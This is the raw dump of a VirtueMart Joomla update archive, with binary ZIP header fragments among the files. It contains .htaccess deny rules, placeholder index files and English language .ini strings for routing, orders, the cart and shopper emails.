url("jquery.ui.datepicker.css");PKtl>\)Gcom_virtuemart_update/components/com_virtuemart/assets/css/ui/.htaccessnuW+A Order allow,deny Deny from all PKtl>\Acom_virtuemart_update/components/com_virtuemart/assets/index.htmlnuW+APKtl>\322Ecom_virtuemart_update/components/com_virtuemart/virtuemart_parser.phpnuW+A\)Bcom_virtuemart_update/components/com_virtuemart/language/.htaccessnuW+A Order allow,deny Deny from all PKtl>\VCcom_virtuemart_update/components/com_virtuemart/language/index.htmlnuW+A PKtl>\аN݀ [com_virtuemart_update/components/com_virtuemart/language/en-GB/en-GB.com_virtuemart.sef.ininuW+A; This file is for SEF router Auto Translating only ; Always use the same formating TO prevent false route : ; No Numbers as first character ; No Uppercase First character !!!! ; Valid chars are A-Z a-z 0-9 and _ (underscore) ; don't use same name as your own categories and product in all language ; No foreign Language strings(chinese , arabic...) ; then you have a nice SEF translator ! COM_VIRTUEMART_SEF_ASKQUESTION="ask_a_question" COM_VIRTUEMART_SEF_BY="by" COM_VIRTUEMART_SEF_CART="cart" COM_VIRTUEMART_SEF_CATEGORY_DESCRIPTION="category_description" COM_VIRTUEMART_SEF_CATEGORY_NAME="category_name" COM_VIRTUEMART_SEF_CHECKOUT="check" COM_VIRTUEMART_SEF_CONFIRM="confirm" COM_VIRTUEMART_SEF_CONTACT="contact" COM_VIRTUEMART_SEF_CREATED_ON="creation_date" COM_VIRTUEMART_SEF_DETAILS="details" COM_VIRTUEMART_SEF_EDITADDRESSCARTBT="bill_address" COM_VIRTUEMART_SEF_EDITADDRESSCARTST="shipping_address" COM_VIRTUEMART_SEF_EDITPAYMENT="edit_payment" COM_VIRTUEMART_SEF_EDIT_SHIPMENT="edit_shipment" COM_VIRTUEMART_SEF_INTNOTES="intnotes" COM_VIRTUEMART_SEF_LIST="list" COM_VIRTUEMART_SEF_LOW_STOCK_NOTIFICATION="low_stock_notification" COM_VIRTUEMART_SEF_MANUFACTURER="manufacturer" COM_VIRTUEMART_SEF_MANUFACTURERS="manufacturers" COM_VIRTUEMART_SEF_MDATE="modified_date" COM_VIRTUEMART_SEF_METAAUTHOR="meta_author" COM_VIRTUEMART_SEF_METADESC="meta_description" COM_VIRTUEMART_SEF_METAKEY="meta_key" COM_VIRTUEMART_SEF_METAROBOT="meta_robot" COM_VIRTUEMART_SEF_MF_NAME="manufacturer_name" COM_VIRTUEMART_SEF_ORDERDESC="order_desc" COM_VIRTUEMART_SEF_ORDERING="ordering" COM_VIRTUEMART_SEF_ORDERS="orders" COM_VIRTUEMART_SEF_PAGE="page" COM_VIRTUEMART_SEF_PRODUCT_AVAILABILITY="availability" COM_VIRTUEMART_SEF_PRODUCT_AVAILABLE_DATE="available_date" COM_VIRTUEMART_SEF_PRODUCT_DESC="description" COM_VIRTUEMART_SEF_PRODUCT_HEIGHT="height" COM_VIRTUEMART_SEF_PRODUCT_ID="id" COM_VIRTUEMART_SEF_PRODUCT_IN_STOCK="stock_level" COM_VIRTUEMART_SEF_PRODUCT_LENGTH="lenght" COM_VIRTUEMART_SEF_PRODUCT_LWH_UOM="lwh_unit" COM_VIRTUEMART_SEF_PRODUCT_NAME="name" COM_VIRTUEMART_SEF_PRODUCT_ORDER_LEVELS="order_levels" COM_VIRTUEMART_SEF_PRODUCT_PACKAGING="packaging" COM_VIRTUEMART_SEF_PRODUCT_PRICE="price" COM_VIRTUEMART_SEF_PRODUCT_SALES="sales" COM_VIRTUEMART_SEF_PRODUCT_SKU="sku" COM_VIRTUEMART_SEF_PRODUCT_SPECIAL="product_special" COM_VIRTUEMART_SEF_PRODUCT_S_DESC="short_desc" COM_VIRTUEMART_SEF_PRODUCT_UNIT="unit" COM_VIRTUEMART_SEF_PRODUCT_WEIGHT="weight" COM_VIRTUEMART_SEF_PRODUCT_WEIGHT_UOM="weight_unit" COM_VIRTUEMART_SEF_PRODUCT_WIDTH="width" COM_VIRTUEMART_SEF_SEARCH="search" COM_VIRTUEMART_SEF_TOS="tos" COM_VIRTUEMART_SEF_USER="user" COM_VIRTUEMART_SEF_VENDOR="vendor" PKtl>\)Hcom_virtuemart_update/components/com_virtuemart/language/en-GB/.htaccessnuW+A Order allow,deny Deny from all PKtl>\7.^com_virtuemart_update/components/com_virtuemart/language/en-GB/en-GB.com_virtuemart_orders.ininuW+A; Virtuemart! Project ; for translation in the orders ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ; This file will be cleared for vm2.1 version, this needs changes in the layout, so we do not change it now COM_VIRTUEMART_ACC_ORDER_INFO="Order Information" COM_VIRTUEMART_DELIVERY_DATE="Delivery Date" COM_VIRTUEMART_DELDATE_INV="Same as invoice date" COM_VIRTUEMART_INVOICE="Invoice" COM_VIRTUEMART_INVOICE_CREATOR="Invoice by VirtueMart 2" COM_VIRTUEMART_INVOICE_DATE="Invoice date" COM_VIRTUEMART_INVOICE_SUBJ="Invoice Nr. %2$s (Order %3$s), %1$s" COM_VIRTUEMART_INVOICE_TITLE="Invoice Nr. %2$s (Order %3$s), %1$s" COM_VIRTUEMART_ORDER_CDATE="Order Date" COM_VIRTUEMART_ORDER_HISTORY="Order History" COM_VIRTUEMART_ORDER_HISTORY_COMMENT="Comment" COM_VIRTUEMART_ORDER_HISTORY_COMMENT_EMAIL="Comments on your Order : " COM_VIRTUEMART_ORDER_HISTORY_CUSTOMER_NOTIFIED="Shopper Notified?" COM_VIRTUEMART_ORDER_HISTORY_DATE_ADDED="Date Added" COM_VIRTUEMART_ORDER_HISTORY_INCLUDE_COMMENT="Include this Comment?" COM_VIRTUEMART_ORDER_ID="Order id" COM_VIRTUEMART_ORDER_INFO="Your Order Informations" COM_VIRTUEMART_ORDER_ITEM="Order Items" COM_VIRTUEMART_ORDER_LIST_CDATE="Order Date" COM_VIRTUEMART_ORDER_LIST_LBL="Order List" COM_VIRTUEMART_ORDER_LIST_MDATE="Last Modified" COM_VIRTUEMART_ORDER_LIST_ORDER_NUMBER="Order Number" COM_VIRTUEMART_ORDER_LIST_STATUS="Order Status" COM_VIRTUEMART_ORDER_LIST_TOTAL="Total" COM_VIRTUEMART_ORDER_NUMBER="Order Number" COM_VIRTUEMART_ORDER_PASS="Secret key (P_xxxxx)" COM_VIRTUEMART_ORDER_PRINT_BILL_TO_LBL="Bill To" COM_VIRTUEMART_ORDER_PRINT_CUSTOMER_NOTE="Shopper's note" COM_VIRTUEMART_ORDER_PRINT_CUST_INFO_LBL="Shopper Information" COM_VIRTUEMART_ORDER_PRINT_INV_NUMBER="Invoice Number" COM_VIRTUEMART_ORDER_PRINT_ITEM_STATUS="Status of ordered products" COM_VIRTUEMART_ORDER_PRINT_NAME="Name" COM_VIRTUEMART_ORDER_PRINT_PAYMENT="Payment Fee" COM_VIRTUEMART_ORDER_PRINT_PAYMENT_LBL="Payment Method" COM_VIRTUEMART_ORDER_PRINT_PAYMENT_SHIPMENT="Payment & Shipment" COM_VIRTUEMART_ORDER_PRINT_PAYMENT_TAX="Payment Tax" COM_VIRTUEMART_ORDER_PRINT_PO_DATE="Order Date" COM_VIRTUEMART_ORDER_PRINT_PO_IPADDRESS="IP Address" COM_VIRTUEMART_ORDER_PRINT_PO_LBL="Purchase Order" COM_VIRTUEMART_ORDER_PRINT_PO_NUMBER="Order Number" COM_VIRTUEMART_ORDER_PRINT_PO_PASS="Secret Key" COM_VIRTUEMART_ORDER_PRINT_PO_STATUS="Order Status" COM_VIRTUEMART_ORDER_PRINT_PRICE="Price" COM_VIRTUEMART_ORDER_PRINT_PRODUCT_STATUS="Product status" COM_VIRTUEMART_ORDER_PRINT_PRODUCT_TAX="Tax" COM_VIRTUEMART_ORDER_PRINT_QTY="Qty" COM_VIRTUEMART_ORDER_PRINT_QUANTITY="Quantity" COM_VIRTUEMART_ORDER_PRINT_SHIPMENT_LBL="Shipment" COM_VIRTUEMART_ORDER_PRINT_SHIPPING="Shipment Fee" COM_VIRTUEMART_ORDER_PRINT_SHIPPING_LBL="Shipment Information" COM_VIRTUEMART_ORDER_PRINT_SHIPPING_MODE_LBL="Shipment Mode" COM_VIRTUEMART_ORDER_PRINT_SHIPPING_PRICE_LBL="Shipment Price" COM_VIRTUEMART_ORDER_PRINT_SHIPPING_TAX="Shipment Tax" COM_VIRTUEMART_ORDER_PRINT_SHIP_TO_LBL="Ship To" COM_VIRTUEMART_ORDER_PRINT_SKU="SKU" COM_VIRTUEMART_ORDER_PRINT_SUBTOTAL="SubTotal" COM_VIRTUEMART_ORDER_PRINT_SUBTOTAL_DISCOUNT_AMOUNT="Discount" COM_VIRTUEMART_ORDER_PRINT_TAX="Tax" COM_VIRTUEMART_ORDER_PRINT_TOTAL="Total" COM_VIRTUEMART_ORDER_PRINT_TOTAL_PAYMENT="Total in Payment Currency" COM_VIRTUEMART_ORDER_PRINT_TOTAL_TAX="Tax Total" COM_VIRTUEMART_ORDER_STATUS_CANCELLED="Cancelled" COM_VIRTUEMART_ORDER_STATUS_CONFIRMED="Confirmed" COM_VIRTUEMART_ORDER_STATUS_CONFIRMED_BY_SHOPPER="Confirmed by shopper" COM_VIRTUEMART_ORDER_STATUS_NAME="Order Status Name" COM_VIRTUEMART_ORDER_STATUS_PENDING="Pending" COM_VIRTUEMART_ORDER_STATUS_REFUNDED="Refunded" COM_VIRTUEMART_ORDER_STATUS_SHIPPED="Shipped" COM_VIRTUEMART_ORDER_STATUS_STOCK_AVAILABLE="Is available" COM_VIRTUEMART_ORDER_STATUS_STOCK_HANDLE="Stock handling" COM_VIRTUEMART_ORDER_STATUS_STOCK_HANDLE_TIP="Choose the movement of stock to make when changing order status.
            Reserved Stocks are deducted from the Stock to sale, but are in Stock" COM_VIRTUEMART_ORDER_STATUS_STOCK_OUT="is removed" COM_VIRTUEMART_ORDER_STATUS_STOCK_RESERVED="Is reserved" COM_VIRTUEMART_ORDER_UPDATED_SUCCESSFULLY="%1$s order(s) have been updated" COM_VIRTUEMART_ORDER_UPDATE_LINESTATUS="Update status for all lines?" COM_VIRTUEMART_ORDER_UPDATE_STATUS="Update Status" COM_VIRTUEMART_ORDER_USER_CURRENCY_RATE="Currency rate" COM_VIRTUEMART_ORDER_VIEW_ORDER="View your order" PKtl>\<}}Wcom_virtuemart_update/components/com_virtuemart/language/en-GB/en-GB.com_virtuemart.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ; COM_VIRTUEMART_ACC_BILL_DEF="- Default (Same as Billing)" COM_VIRTUEMART_ACC_NO_ORDER="You have no existing orders" COM_VIRTUEMART_ADDTOCART_CHOOSE_VARIANT="Choose a product variant first" COM_VIRTUEMART_ALL="all" COM_VIRTUEMART_ASC="-/+" COM_VIRTUEMART_ASKQU_CS_MAX="Maximum characters for your question is reached" COM_VIRTUEMART_ASKQU_CS_MIN="Minimum characters for your question is not reached" COM_VIRTUEMART_ASK_COMMENT="Please write your question....(min. %s, max. %s characters)" COM_VIRTUEMART_ASK_COUNT="Characters written: " COM_VIRTUEMART_ASK_ERR_COMMENT1="Please write down some more words for your question. Minimum characters allowed: %s" COM_VIRTUEMART_ASK_ERR_COMMENT2="Please shorten your question. Maximum characters allowed: %s" COM_VIRTUEMART_ASK_QUESTION_THANK_YOU="Thank you for your Question. We will contact you as soon as possible." COM_VIRTUEMART_ASK_SUBMIT="Send your question" COM_VIRTUEMART_ASSIGN_VM_TO_MENU="Assign the component VirtueMart to a menu item" COM_VIRTUEMART_BACK_TO_ACCOUNT="Back to Account Details" COM_VIRTUEMART_BOX_CLOSE="close" COM_VIRTUEMART_BOX_CURRENT="product {current} of {total}" COM_VIRTUEMART_BOX_NEXT="next" COM_VIRTUEMART_BOX_PREVIOUS="previous" COM_VIRTUEMART_BUTTON_LOGOUT="Logout" COM_VIRTUEMART_CANCEL="Cancel" COM_VIRTUEMART_CART_ACTION="Update" COM_VIRTUEMART_CART_ACTIVE_ADMIN="Active administrator:" COM_VIRTUEMART_CART_ADD_TO="Add to Cart" COM_VIRTUEMART_CART_CHANGED_SHOPPER_SUCCESSFULLY="Shopper successfully changed to %1$s" COM_VIRTUEMART_CART_CHANGE_PAYMENT="Change Payment" COM_VIRTUEMART_CART_CHANGE_SHIPPING="Change Shipment" COM_VIRTUEMART_CART_CHANGE_SHOPPER="Change Shopper" COM_VIRTUEMART_CART_CHANGE_SHOPPER_NO_PERMISSIONS="No permissions to change shopper" COM_VIRTUEMART_CART_CHECKOUT_DATA_NOT_VALID="Invalid data entered" COM_VIRTUEMART_CART_CHECKOUT_DONE_CONFIRM_ORDER="Checkout done, please confirm the order" COM_VIRTUEMART_CART_COUPON_VALID="Discount Coupon successfully added" COM_VIRTUEMART_CART_DATA_NOT_VALID="Cart data not valid" COM_VIRTUEMART_CART_DELETE="Delete Product From Cart" COM_VIRTUEMART_CART_EDIT_COUPON="Edit coupon" COM_VIRTUEMART_CART_EDIT_PAYMENT="Select payment" COM_VIRTUEMART_CART_EDIT_SHIPPING="Select shipment" COM_VIRTUEMART_CART_ENTER_ADDRESS_FIRST="Please enter your address first" COM_VIRTUEMART_CART_ERROR_NO_NEGATIVE="Negative quantities are not allowed." COM_VIRTUEMART_CART_ERROR_NO_PRODUCT_IDS="Error while adding product in cart: no product ids" COM_VIRTUEMART_CART_ERROR_NO_VALID_QUANTITY="Please enter a valid quantity for this item." COM_VIRTUEMART_CART_FREE_SHIPPING="Shipment is free on this Order" COM_VIRTUEMART_CART_MAIL_FOOTER="mail footer message" COM_VIRTUEMART_CART_MAIL_SHOPPER_CONTENT="Dear %1$s,
            you bought and confirmed an order with a total of %3$s at %2$s,
            your order number is = %4$s
            and your order password = %5$s" COM_VIRTUEMART_CART_MAIL_SHOPPER_QUESTION="Your comment:
            %1$s" COM_VIRTUEMART_CART_MAIL_VENDOR_CONTENT="Hello %1$s,
            %2$s confirmed an order with a total of %3$s, his order_id = %4$s" COM_VIRTUEMART_CART_MAIL_VENDOR_SHOPPER_QUESTION="The shopper commented the order:
            %1$s" COM_VIRTUEMART_CART_MAIL_VENDOR_TITLE="Hello" COM_VIRTUEMART_CART_MAX_ORDER="The maximum order level for this product is %d items." COM_VIRTUEMART_CART_MIN_ORDER="The minimum order level for this product is %d items." COM_VIRTUEMART_CART_MIN_PURCHASE="The minimum purchase value is %s." COM_VIRTUEMART_CART_NAME="Name" COM_VIRTUEMART_CART_NOTIFY="Notify Me" COM_VIRTUEMART_CART_NOTIFY_DESC="We regret to inform you that this product (%s) is either temporarily out of stock or not in stock in the desired quantity. Please submit your email address if you would like to be notified when new stock arrives for this product.

            Thank you!" COM_VIRTUEMART_CART_NOTIFY_MAIL_HTML="
            Thank you for your patience.

            Our %s is now in stock and can be purchased by following this link:
            %s

            This is a one time notice, you will not receive this e-mail again.
            " COM_VIRTUEMART_CART_NOTIFY_MAIL_RAW="Thank you for your patience.\r\n\r\nOur %s is now in stock and can be purchased by following this link:\r\n%s\r\n\r\nThis is a one time notice, you will not receive this e-mail again." COM_VIRTUEMART_CART_NOTIFY_MAIL_SUBJECT="Product Notification" COM_VIRTUEMART_CART_NO_PAYMENT_METHOD_PUBLIC="We are sorry, no payment method matches the characteristics of your order. Please %s." COM_VIRTUEMART_CART_NO_PAYMENT_SELECTED="No payment selected" COM_VIRTUEMART_CART_NO_PRODUCT="There are no products in your cart." COM_VIRTUEMART_CART_NO_SHIPMENT_SELECTED="No shipment selected" COM_VIRTUEMART_CART_NO_SHIPPINGRATE="No shipping rate could be selected, you may not have entered your address or the vendor/shipment does not support your location" COM_VIRTUEMART_CART_NO_SHIPPING_METHOD="No Shipment plugin installed or configured for this vendor, or no shipment method is defined for your shippping address." COM_VIRTUEMART_CART_NO_SHIPPING_METHOD_PUBLIC="We are sorry, no shipment method matches the characteristics of your order." COM_VIRTUEMART_CART_ONE_PRODUCT="1 product" COM_VIRTUEMART_CART_ONLY_REGISTERED="Please register to checkout" COM_VIRTUEMART_CART_ORDERDONE_DATA_NOT_VALID="Order not completed, data is not valid" COM_VIRTUEMART_CART_ORDERDONE_THANK_YOU="Thank you for your order!" COM_VIRTUEMART_CART_OVERVIEW="Shopping cart" COM_VIRTUEMART_CART_PAYMENT="Payment" COM_VIRTUEMART_CART_PLEASE_ACCEPT_TOS="Please accept the terms of service to confirm" COM_VIRTUEMART_CART_PRICE="Price: " COM_VIRTUEMART_CART_PRICE_FREE="No additional charge" COM_VIRTUEMART_CART_PRICE_PER_UNIT="Price per Unit" COM_VIRTUEMART_CART_PRODUCT_ADDED="%2$s x %1$s was added to your cart." COM_VIRTUEMART_CART_PRODUCT_OUT_OF_QUANTITY="Max quantity reached, new quantity set to %s" COM_VIRTUEMART_CART_PRODUCT_OUT_OF_STOCK="Product out of stock" COM_VIRTUEMART_CART_PRODUCT_UPDATED="The product quantity has been updated." COM_VIRTUEMART_CART_QUANTITY="Quantity" COM_VIRTUEMART_CART_SELECTCOUPON="Select your coupon" COM_VIRTUEMART_CART_SELECTPAYMENT="Select payment method" COM_VIRTUEMART_CART_SELECTSHIPMENT="Select shipment" COM_VIRTUEMART_CART_SELECT_PAYMENT="Please select a payment method" COM_VIRTUEMART_CART_SELECT_SHIPMENT="Please select a shipment method" COM_VIRTUEMART_CART_SETPAYMENT_PLUGIN_FAILED="The payment plugin failed" COM_VIRTUEMART_CART_SHIPPING="Shipment" COM_VIRTUEMART_CART_SHOW="Show Cart" COM_VIRTUEMART_CART_SKU="SKU" COM_VIRTUEMART_CART_STEP_ORDER="You can buy this product only in steps of %d items." COM_VIRTUEMART_CART_SUBTOTAL="Subtotal" COM_VIRTUEMART_CART_SUBTOTAL_DISCOUNT_AMOUNT="Discount" COM_VIRTUEMART_CART_SUBTOTAL_TAX_AMOUNT="Tax" COM_VIRTUEMART_CART_THANKYOU="Thank you for your Order!" COM_VIRTUEMART_CART_TITLE="Cart" COM_VIRTUEMART_CART_TOS="Terms of service" COM_VIRTUEMART_CART_TOS_READ_AND_ACCEPTED="Click here to read terms of service and check the box to accept them." COM_VIRTUEMART_CART_TOTAL="Total" COM_VIRTUEMART_CART_TOTAL_PAYMENT="Total in Payment Currency" COM_VIRTUEMART_CART_UPDATE="Update Quantity In Cart" COM_VIRTUEMART_CART_X_PRODUCTS="%s products" COM_VIRTUEMART_CATEGORIES="Categories" COM_VIRTUEMART_CATEGORIES_RELATED_SEARCH="Search" COM_VIRTUEMART_CATEGORY="Category" COM_VIRTUEMART_CATEGORY_BACK_TO="Back to: %s" COM_VIRTUEMART_CATEGORY_DESCRIPTION="Category Description" COM_VIRTUEMART_CATEGORY_ID="Category Id" COM_VIRTUEMART_CATEGORY_NAME="Category" COM_VIRTUEMART_CATEGORY_NOT_FOUND="Category not found" COM_VIRTUEMART_CATEGORY_TOP_LEVEL="Top Category" COM_VIRTUEMART_CAT_NOT_PUBL="Category %1$s id %2$s not published" COM_VIRTUEMART_CHECKOUT_AS_GUEST="Checkout as Guest" COM_VIRTUEMART_CHECKOUT_PLEASE_ENTER_ADDRESS="Please enter your billto address" COM_VIRTUEMART_CHECKOUT_TITLE="Check Out Now" COM_VIRTUEMART_CLOSE="Close" COM_VIRTUEMART_COMMENT="Please write your recommendation....(min. %s, max. %s characters)" COM_VIRTUEMART_COMMENT_CART="Notes and special requests" COM_VIRTUEMART_COMMENT_MIN_MAX_JS="Please min. %s, max. %s characters" COM_VIRTUEMART_COMMENT_NOT_VALID_JS="Some Fields are invalid, please verify your inputs" COM_VIRTUEMART_CONF_WARN_NO_CURRENCY_DEFINED="No Shop Currency defined! Contact the administrator, if you are one go to %s" COM_VIRTUEMART_CONF_WARN_NO_FORMAT_DEFINED="Currency is not formatted! Contact the administrator, if you are one go to %s" COM_VIRTUEMART_CONTINUE_SHOPPING="Continue Shopping" COM_VIRTUEMART_COUPON_CODE_CHANGE="Change your Coupon code" COM_VIRTUEMART_COUPON_CODE_ENTER="Enter your Coupon code" COM_VIRTUEMART_COUPON_CODE_EXPIRED="This coupon is expired" COM_VIRTUEMART_COUPON_CODE_INVALID="Coupon code not found. Please try again." COM_VIRTUEMART_COUPON_CODE_NOTYET="Coupon is not yet active, it can be used after " COM_VIRTUEMART_COUPON_CODE_TOOLOW="This coupon is valid for an order with a minimum of" COM_VIRTUEMART_COUPON_DISCOUNT="Coupon Discount" COM_VIRTUEMART_COUPON_ENTER_HERE="If you have a coupon code, please enter it below:" COM_VIRTUEMART_CREATED_ON="Creation Date" COM_VIRTUEMART_CREDIT_CARD_INVALID_EXPIRE_DATE="Credit Card has expired" COM_VIRTUEMART_CREDIT_CARD_INVALID_FORMAT="Credit card number has in invalid format" COM_VIRTUEMART_CREDIT_CARD_INVALID_NUMBER="Credit card number is invalid" COM_VIRTUEMART_CREDIT_CARD_NO_NUMBER="No card number provided" COM_VIRTUEMART_CREDIT_CARD_UNKNOWN_TYPE="Unknown card type" COM_VIRTUEMART_CREDIT_CARD_WRONG_DIGIT="Credit card number has an inappropriate number of digits" COM_VIRTUEMART_CURRENCY="Currency" COM_VIRTUEMART_CUSTOMER_RATING="Average customer rating" COM_VIRTUEMART_DATE="Date" COM_VIRTUEMART_DATE_FORMAT_INPUT_JS="y.mm.dd" ; THis is not valid joomla 1.7 !!! COM_VIRTUEMART_DATE_FORMAT_LC="%A, %d %B %Y" ; Date joomla 1.5 >1.6 format changed %d is d now COM_VIRTUEMART_DATE_FORMAT_INPUT="%y.%m.%d" COM_VIRTUEMART_DATE_FORMAT_INPUT_J16="y.m.d" COM_VIRTUEMART_DEAR="Dear " COM_VIRTUEMART_DELIVERYNOTE="Delivery Note" COM_VIRTUEMART_DESC=" +/-" COM_VIRTUEMART_DESCRIPTION="Welcome to" COM_VIRTUEMART_DISABLED="Disabled" COM_VIRTUEMART_DISABLE_ITEM="Disable Item" COM_VIRTUEMART_DISPLAYED_NAME="Displayed name:" COM_VIRTUEMART_EMAIL="Email" COM_VIRTUEMART_EMPTY_CART="Cart empty" COM_VIRTUEMART_ENABLED="Enabled" COM_VIRTUEMART_ENABLE_ITEM="Enable item" COM_VIRTUEMART_ENTERED_ADDRESS="Entered address" COM_VIRTUEMART_ENTER_A_VALID_EMAIL_ADDRESS="Please enter a valid email address" COM_VIRTUEMART_FEATURED_PRODUCT="Featured Products" COM_VIRTUEMART_FEED_READMORE="Read more" COM_VIRTUEMART_FILES_FILE_DELETE_FAILURE="Could not delete the File." COM_VIRTUEMART_FILES_FILE_DELETE_SUCCESS="File successfully deleted." COM_VIRTUEMART_FREE_SHIPPING_AMOUNT="Minimum Amount for Free Shipment" COM_VIRTUEMART_HI="Hello" COM_VIRTUEMART_HINAME="Hello %s" COM_VIRTUEMART_HOME="Welcome to %1$s" COM_VIRTUEMART_I_AGREE_TO_TOS="I agree to the Terms of Service" COM_VIRTUEMART_LAST_UPDATED="Last Updated" COM_VIRTUEMART_LATEST_PRODUCT="Latest Products" COM_VIRTUEMART_LINK_ACTIVATE_ACCOUNT="Please use this link to activate your account" COM_VIRTUEMART_LIST_EMPTY_OPTION="-- Select --" COM_VIRTUEMART_LOGIN="Login" COM_VIRTUEMART_LOW_STOCK_NOTIFICATION="Stock" COM_VIRTUEMART_MAIL_FOOTER="Thank you for purchasing at " COM_VIRTUEMART_MAIL_NOT_SEND_SUCCESSFULLY="Mail not sent successfully" COM_VIRTUEMART_MAIL_ORDER_STATUS="Your order status is: %s" COM_VIRTUEMART_MAIL_SEND_SUCCESSFULLY="Mail sent successfully" COM_VIRTUEMART_MAIL_SHOPPER_CONTENT="your order password = %5$s" COM_VIRTUEMART_MAIL_SHOPPER_NAME="Hello %1$s," COM_VIRTUEMART_MAIL_SHOPPER_QUESTION="Your comment:
            %1$s" COM_VIRTUEMART_MAIL_SHOPPER_SUMMARY="

            Order confirmed

            You bought and confirmed an order in %1$s shop online.

            You can check the status of your order by going on your personal account

            " COM_VIRTUEMART_MAIL_SHOPPER_TOTAL_ORDER="

            Your order Total: %1$s

            " COM_VIRTUEMART_MAIL_SHOPPER_YOUR_ORDER="Your order number: " COM_VIRTUEMART_MAIL_SHOPPER_YOUR_ORDER_LINK="view your order online" COM_VIRTUEMART_MAIL_SHOPPER_YOUR_PASSWORD="Your order password: " COM_VIRTUEMART_MAIL_SKU="SKU" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_C="[%3$s], Confirmed order at %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_P="[%3$s], Order is pending at %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_R="[%3$s], Refunded order by %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_S="[%3$s], Shipped order from %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_U="[%3$s], Order confirmed by %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_X="[%3$s], Cancelled order by %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_VENDOR_C="[%3$s], Confirmed order by %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_VENDOR_P="[%3$s], Pending order by %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_VENDOR_R="[%3$s], Refunded order for %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_VENDOR_S="[%3$s], Shipped order for %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_VENDOR_U="[%3$s], Order confirmed by %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_VENDOR_X="[%3$s], Cancelled order for %1$s, total %2$s" COM_VIRTUEMART_MAIL_VENDOR_CONTENT="Hello %1$s,
            %2$s confirmed an order with a total of %3$s, his/her order number = %4$s" COM_VIRTUEMART_MAIL_VENDOR_SHOPPER_QUESTION="The shopper commented the order:
            %1$s" COM_VIRTUEMART_MAIL_VENDOR_TITLE="Hello" COM_VIRTUEMART_MEDIA_ENLARGE="enlarge" COM_VIRTUEMART_MANUFACTURER_DETAILS="Manufacturer Details" COM_VIRTUEMART_MANUFACTURER_PAGE="Manufacturer Page" COM_VIRTUEMART_MF_NAME="Manufacturer name" COM_VIRTUEMART_MIGRATION_WARN_VM1_EXTENSIONS="Attention: You have still old vm extensions in your joomla installation active, uninstall or disable them" ;todo legacy will be removed COM_VIRTUEMART_MINICART_ERROR_JS="There was an error while updating your cart." COM_VIRTUEMART_MODIFIED_ON="modified" COM_VIRTUEMART_MORE_REVIEWS="More reviews" COM_VIRTUEMART_NEVER="-Never-" COM_VIRTUEMART_NEW_ORDER_CONFIRMED="[%3$s], Confirmed order by %1$s, total %2$s" COM_VIRTUEMART_NEW_SHOPPER="A new shopper %s registered" COM_VIRTUEMART_NEW_SHOPPER_SUBJECT="Your registration %s at %s" COM_VIRTUEMART_NEW_USER_MESSAGE_VENDOR_SUBJECT="A new user %1$s registered at your shop" COM_VIRTUEMART_NO="No" COM_VIRTUEMART_NONE="None" COM_VIRTUEMART_NOTIFY_CUSTOMER_ERR_SEND="Could not send a message to " COM_VIRTUEMART_NOTIFY_CUSTOMER_SEND_MSG="Message sent to" COM_VIRTUEMART_NOT_ABLE_TO_SAVE_USER_DATA="Was not able to save the VirtueMart user data" COM_VIRTUEMART_NO_IMAGE_FOUND="No image found" COM_VIRTUEMART_NO_IMAGE_SET="No image set" COM_VIRTUEMART_NO_MORE_ORDERS="No more Orders" COM_VIRTUEMART_NO_PAYMENT_METHODS_CONFIGURED="No payment method has been configurated %1$s" COM_VIRTUEMART_NO_PAYMENT_METHODS_CONFIGURED_LINK=", please visit %1$s" COM_VIRTUEMART_NO_PAYMENT_PLUGIN="The Payment method didn't find the used payment plugin" COM_VIRTUEMART_NO_RESULT="No result" COM_VIRTUEMART_NO_REVIEWS="There are yet no reviews for this product." COM_VIRTUEMART_NO_SHIPMENT_PLUGIN="The Shipment method didn't find the used shipment plugin" COM_VIRTUEMART_NO_SHIPPING_METHODS_CONFIGURED="No shipment method has been configurated %1$s" COM_VIRTUEMART_NO_SHIPPING_METHODS_CONFIGURED_LINK=", please visit %1$s" COM_VIRTUEMART_ONCHECKOUT_DEFAULT_TEXT_REGISTER="Please use %1$s to easily get access to your order history, or use %2$s" COM_VIRTUEMART_ORDERBY="Sort by" COM_VIRTUEMART_ORDERING="Ordering" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_DESC="List All Orders" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_TITLE="List Orders" COM_VIRTUEMART_ORDER_ANONYMOUS="Track My Order" COM_VIRTUEMART_ORDER_BUTTON_VIEW="See Order" COM_VIRTUEMART_ORDER_COMMENT="Comment" COM_VIRTUEMART_ORDER_CONFIRM_MNU="Confirm Purchase" COM_VIRTUEMART_ORDER_CONNECT_FORM="When you are already registered, please login directly here" COM_VIRTUEMART_ORDER_FORGOT_YOUR_PASSWORD="Forgot your password?" COM_VIRTUEMART_ORDER_FORGOT_YOUR_USERNAME="Forgot your username?" COM_VIRTUEMART_ORDER_NOTFOUND="Order not found! It may have been deleted." COM_VIRTUEMART_ORDER_PRINT_PRODUCT_PRICES_TOTAL="Product prices result" COM_VIRTUEMART_ORDER_PROCESSED="Your order has been processed." COM_VIRTUEMART_ORDER_REGISTER="Create an account" COM_VIRTUEMART_ORDER_REGISTER_GUEST_CHECKOUT="Checkout" COM_VIRTUEMART_PASSWORD="Password" COM_VIRTUEMART_PAYMENT_CANCELLED_BY_SHOPPER="Payment cancelled by the shopper" COM_VIRTUEMART_PAYMENT_INVOICE="Payment method is preventing VirtueMart to create an invoice." COM_VIRTUEMART_PAYMENT_USER_CANCEL="Payment cancelled by user" 